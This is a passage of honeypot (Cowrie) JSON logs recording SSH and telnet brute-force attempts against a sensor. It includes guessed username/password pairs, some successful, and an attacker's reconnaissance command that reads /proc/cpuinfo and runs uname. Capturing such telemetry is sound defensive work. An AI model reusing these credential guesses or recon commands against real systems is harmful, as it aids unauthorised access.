{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.186574Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.193590Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":58244,"dst_ip":"10.17.0.5","dst_port":22,"session":"c20531fa86e4","protocol":"ssh","message":"New connection: 74.91.224.229:58244 (10.17.0.5:22) [session: c20531fa86e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.379061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.386733Z","src_ip":"74.91.224.229","session":"c20531fa86e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.626449Z","src_ip":"74.91.224.229","session":"c20531fa86e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oratest","password":"oratest","message":"login attempt [oratest/oratest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:10.620051Z","src_ip":"74.91.224.229","session":"c20531fa86e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:11.861974Z","src_ip":"74.91.224.229","session":"c20531fa86e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.514381170272827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:23.119587Z","src_ip":"8.219.12.186","session":"2e81756a7f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54924,"dst_ip":"159.203.135.109","dst_port":22,"session":"4623f25271f2","protocol":"ssh","message":"New connection: 159.203.92.129:54924 (159.203.135.109:22) [session: 4623f25271f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.726904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.731662Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.740981Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.753733Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.798707Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.801484Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.805530Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.815578Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:53.820448Z","src_ip":"159.203.92.129","session":"4623f25271f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00831055641174,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:01.242201Z","src_ip":"216.131.72.138","session":"adef00cbfad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":56848,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d89355cd98","protocol":"ssh","message":"New connection: 74.91.224.229:56848 (10.17.0.5:22) [session: 33d89355cd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:05.555061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:05.560027Z","src_ip":"74.91.224.229","session":"33d89355cd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:05.799228Z","src_ip":"74.91.224.229","session":"33d89355cd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123456789","message":"login attempt [ubuntu/admin123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:06.786849Z","src_ip":"74.91.224.229","session":"33d89355cd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:08.029773Z","src_ip":"74.91.224.229","session":"33d89355cd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52786,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d0407b90d9d","protocol":"ssh","message":"New connection: 159.203.92.129:52786 (159.203.135.109:22) [session: 2d0407b90d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.235580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.240812Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.250129Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12345","message":"login attempt [admin/admin12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.261802Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.303494Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.307935Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.312918Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.326440Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:04:39.333986Z","src_ip":"159.203.92.129","session":"2d0407b90d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":45374,"dst_ip":"10.17.0.5","dst_port":22,"session":"7db493bb7d8b","protocol":"ssh","message":"New connection: 74.91.200.154:45374 (10.17.0.5:22) [session: 7db493bb7d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:02.965703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:02.979129Z","src_ip":"74.91.200.154","session":"7db493bb7d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:04.111539Z","src_ip":"74.91.200.154","session":"7db493bb7d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":60442,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef843e3be2f3","protocol":"ssh","message":"New connection: 74.91.224.229:60442 (10.17.0.5:22) [session: ef843e3be2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:04.718517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:04.723124Z","src_ip":"74.91.224.229","session":"ef843e3be2f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"P@ssw0rd","message":"login attempt [sadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:04.765963Z","src_ip":"74.91.200.154","session":"7db493bb7d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:04.962526Z","src_ip":"74.91.224.229","session":"ef843e3be2f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digital2017","message":"login attempt [root/Digital2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:05.952073Z","src_ip":"74.91.224.229","session":"ef843e3be2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:05.987358Z","src_ip":"74.91.200.154","session":"7db493bb7d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:07.195237Z","src_ip":"74.91.224.229","session":"ef843e3be2f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44384,"dst_ip":"159.203.135.109","dst_port":22,"session":"295668707468","protocol":"ssh","message":"New connection: 159.203.92.129:44384 (159.203.135.109:22) [session: 295668707468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.376088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.381070Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-